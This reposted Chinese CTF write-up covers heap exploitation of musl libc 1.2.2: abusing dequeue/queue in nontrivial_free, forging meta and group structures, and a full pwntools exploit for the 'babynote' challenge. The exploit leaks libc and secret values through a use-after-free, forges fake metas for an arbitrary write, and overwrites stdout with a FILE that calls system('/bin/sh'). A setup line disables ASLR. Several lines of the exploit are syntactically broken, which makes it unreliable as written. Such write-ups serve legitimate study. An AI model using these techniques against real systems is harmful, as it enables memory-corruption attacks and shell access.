[原创]小小做题家之——musl 1.2.2的利用手法
2022-10-6 19:12:55 Author: bbs.pediy.com(查看原文) 阅读量:13 收藏

(下述调试的偏移均未开ASLR保护的U2004环境,可以通过echo 0 > /proc/sys/kernel/randomize_va_space设置,然后偏移应该就是一样的了)

这里也提醒了我们,meta->mem即存group地址的地方是空的,也正是因为这个,在mozxv那行汇编引用[rax+8]就会卡住。于是我们考虑用set补充一下这个地方(将0xb340这个地址当作group):

重点检查就是secret和meta->mem。secret也就是meta_addr & -0x4096(即低三位为0的地址),很幸运的是恰好这里就是screat:(0xb300清除后三位被称作meta_area的地方,与meta处于同一页中)

上面介绍dequeue利用的时候,有个active[2]中的meta从0x298换成0x55555555b300,触发了dequeue实现了active[2]上面meta的替换。这是在active[2]非空的情况下的替换。但当active为空,我们又怎么让它凭空“长”一个meta出来呢?我们看看meta.h下的nontrivial_free函数(和前面的dequeue是一个函数):

发现就是if和else if的关系,if那条分支其实检查的是mask是否符合条件(是否满了,要么全用了要么全free,这里肯定是检查是否已经用了的堆块全free),ok_2_free其实检查的是meta的free_able标记(因为其它条件基本能满足):

只要满足free_able为0,就可执行else if分支。else if分支需要满足sc<48,伪造的时候注意即可,然后就是检查active[sc]上面的meta是否是即将加入的m,我们伪造的时候一般针对的是空的active,这里就直接通过了。然后就到了queue里面:

这里的phead其实就是active,m是即将被放入active的meta,执行的肯定是else的分支(因为active为空),然后我们就成功把伪造的meta m加入active[sc]了。malloc(sc*0x10)就能从伪造的meta找到伪造的group,然后从伪造的group取出堆块

(1)首先需要满足meta_area和meta处于同一页,一般都是采用申请大堆块使得通过mmap分配,然后通过padding使得meta_area和meta处于同一页

(3)伪造meta:伪造prev,next,mem,以及last_idx, freeable, sc, maplen四合一的一位。一般需要伪造两种meta(同一个,执行完一个功能过后通过复写切换),一种用来dequeue任意地址写修改最后fake_group的首地址为fake_meta的地址从而通过get_meta的检查;另一种严格保证不会被free掉,从而执行queue被加进active[sc]达成任意地址申请修改的目的。

(5)free(group+0x10)来执行nontrivial_free:总共执行两次。第一次dequeue将fake_group(即target-0x10)写入fake_meta,第二次queue将fake_meta加入active[sc]

伪造的模板如下:(两种meta的区别本质上是通过修改四合一位来实现的,也就是在free(fake_chunk)的时候nontrivial_free走的是if还是else if)

musl的UAF和glibc的有点不太一样,这是因为musl的堆块free过后不会立马被再次使用。这是由meta的avail_mask和freed_mask限制的。申请group对应大小的堆块,会优先使用avail_mask上还是1的位置对应的堆块。当avail_mask变成0了会检测freed_mask是否为0,如果为0则该meta可以dequeue了(即malloc触发的dequeue),反之则会将avail_mask异或上freed_mask同时将freed_mask置为0,取出当前avail_mask从低到高第一个非0位对应的堆块作为malloc(或者其它内存申请函数)的返回值,并将该位置为0

注意avail_mask和freed_mask,idx为1(group的第二个)的chunk此时是free状态,但是我们申请的话,其实是申请到idx为9的堆块。这就是musl管理chunk和glibc不太一样的地方,相应的UAF利用,比如idx为1的堆块存在UAF,我们想构造它既是note又是note上的关键位置(比如content这类能通过show函输泄露的地方),就只能等先取出idx为9的堆块才能申请出它了。

name和content都是自定大小的calloc堆块,黄色箭头的是chain上的note。这里的chain其实指这题的note之间是通过链表连起来的,有一个全局链表头global_note。通过头插法插入note(大家可以自行画图理解)

读入size和key,通过list_pass遍历chain,找到name_size和读入的size相同且name和key相同的note,返回给v3。然后通过大端序列显示v3的内容:

也是通过list_pass寻找和输入的key以及size对应的note。重点放在下面的if和else分支,发现只有else分支会清除指针,if分支不会,也就是说当chain中的note不少于两个的时候就会存在UAF。通过这个UAF我们能创造一个既是note(记为A),同时也是一个note的content(记为B)的堆块,然后通过find打印B的content即可泄露libcbase和elfbase。由于musl libc的堆是静态堆,也就相当于泄露了堆地址(elfbase和heapbase泄露一个就行,这点和glibc是不一样的)

(2)通过add(namesize=xxx,contentsize=0x28)将globa_note设置为B(idx=9),同时B的content将被设置为A(idx=1)

后面还可以利用这个特性,通过find直接修改B的content为__malloc_context泄露secret(任意地址泄露);或是改成合法的chunk(任意地址free)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

from platform import libc_ver

from pwn import *

from hashlib import sha256

import base64

context.log_level='debug'

context.arch = 'amd64'

context.os = 'linux'

io = lambda : r.interactive()

sl = lambda a : r.sendline(a)

sla = lambda a,b : r.sendlineafter(a,b)

se = lambda a : r.send(a)

sa = lambda a,b : r.sendafter(a,b)

lg = lambda name,data : log.success(name + ":" + hex(data))

def z():

    gdb.attach(r)

def cho(num):

    sla("option: ",str(num))

def add(namesz,name,notesz,note):

    cho(1)

    sla("name size: ",str(namesz))

    sa("name: ",name)

    sla("note size: ",str(notesz))

    sa("note content: ",note)   

def find(namesz,name):

    cho(2)

    sla("name size: ",str(namesz))

    sa("name: ",name)

def delet(namesz,name):

    cho(3)

    sla("name size: ",str(namesz))

    sa("name: ",name)

def remake():

    cho(4)

def exp():

    global

    global libc

    r=process("./babynote")

    libc=ELF('./libc.so'

    add(0x38,"a"*0x38,0x38,"a"*0x38)

    cho(4)

    for _ in range(8):

        find(0x28,"a"*0x28)

    add(0x38,"2"*0x38,0x28,"2"*0x28)

    add(0x38,"3"*0x38,0x38,"3"*0x38)

    delet(0x38,"2"*0x38)

    for _ in range(6):

        find(0x28,"a"*0x28)

    add(0x38,"4"*0x38,0x58,"4"*0x58

    find(0x38,"2"*0x38)

    r.recvuntil("0x28:")

    libcbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0xb7d60

    elfbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0x4c40

    log.success("libcbase:"+hex(libcbase))

    log.success("elfbase:"+hex(elfbase))

    malloc_context = libcbase + 0xb4ac0

    mmap_base = libcbase - 0xa000

    fake_meta_addr = mmap_base + 0x2010

    fake_mem_addr = mmap_base + 0x2040

    stdout = libcbase + 0xb4280   

    for _ in range(6):

        find(0x28,"a"*0x28)

    pd=p64(elfbase+0x4fc0)+p64(malloc_context)+p64(0x38)+p64(0x28)+p64(0)

    find(0x28,pd)

    find(0x38,"a"*0x38)

    r.recvuntil("0x28:")

    secret=u64(p64(int(r.recv(16),16),endianness="big"))

    lg("secret",secret)

    add(0x28,"5"*0x28,0x1200,'\n')

    last_idx, freeable, sc, maplen = 0, 1, 8, 1

    fake_meta = p64(stdout - 0x18)                 

    fake_meta += p64(fake_meta_addr + 0x30)        

    fake_meta += p64(fake_mem_addr)                

    fake_meta += p32(0) + p32(0)                   

    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)

    fake_meta += p64(0)

    fake_mem = p64(fake_meta_addr)                 

    fake_mem += p32(1) + p32(0)                    

    payload = b'a' * 0xaa0

    payload += p64(secret) + p64(0)

    payload += fake_meta + fake_mem + '\n'

    find(0x1200,payload)

    for _ in range(3):

       find(0x28,"a"*0x28)

    pd=p64(elfbase+0x4fc0)+p64(fake_mem_addr+0x10)+p64(0x38)+p64(0x28)+p64(0)

    add(0x38,"6"*0x38,0x28,pd)

    delet(0x38,"a"*0x38)

    last_idx, freeable, sc, maplen = 1, 0, 8, 0

    fake_meta = p64(0)                             

    fake_meta += p64(0)                            

    fake_meta += p64(fake_mem_addr)                

    fake_meta += p32(0) + p32(0)                   

    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)

    fake_meta += p64(0)

    fake_mem = p64(fake_meta_addr)                 

    fake_mem += p32(1) + p32(0)

    payload = b'a' * 0xa90

    payload += p64(secret) + p64(0)

    payload += fake_meta + fake_mem + b'\n'

    find(0x1200, payload)

    for _ in range(2):

        find(0x28, 'a' * 0x28)

    pd=p64(elfbase+0x5fc0)+p64(fake_mem_addr+0x10)+p64(0x38)+p64(0x28)+p64(0)

    add(0x38,"7"*0x38,0x28,pd)

    delet(0x38,"a"*0x38)

    last_idx, freeable, sc, maplen = 1, 0, 8, 0

    fake_meta = p64(fake_meta_addr)                

    fake_meta += p64(fake_meta_addr)               

    fake_meta += p64(stdout - 0x10)                

    fake_meta += p32(1) + p32(0)                   

    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)

    fake_meta += b'a' * 0x18

    fake_meta += p64(stdout - 0x10)

    payload = b'a' * 0xa80

    payload += p64(secret) + p64(0)

    payload += fake_meta + b'\n'

    find(0x1200, payload) 

    cho(1)

    sla('name size: ', str(0x28))

    sa('name: ', '\n')

    sla('note size: ', str(0x80))

    fake_IO  = b'/bin/sh\x00'                      

    fake_IO += p64(0)                              

    fake_IO += p64(0)                              

    fake_IO += p64(libcbase + 0x5c9a0)            

    fake_IO += p64(1)                              

    fake_IO += p64(0)                              

    fake_IO += p64(0)                              

    fake_IO += p64(0)                              

    fake_IO += p64(0)                              

    fake_IO += p64(libcbase + libc.sym['system']) 

    sl(fake_IO)

    io()

if __name__ == '__main__':

    exp()

dequeue和queue的触发不止free这种,但笔者精力有限没能全部研究透彻(不过如果以后搞嵌入式真的需要研究这方面的漏洞的话再行分享hh)。但是比起glibc,musl的libc真的缩减了很多,属于是那种比赛的时候可以现找漏洞点的。所以没涉及的地方就交给读者自行研究了,感谢阅读~


文章来源: https://bbs.pediy.com/thread-274640.htm
如有侵权请联系:admin#unsafe.sh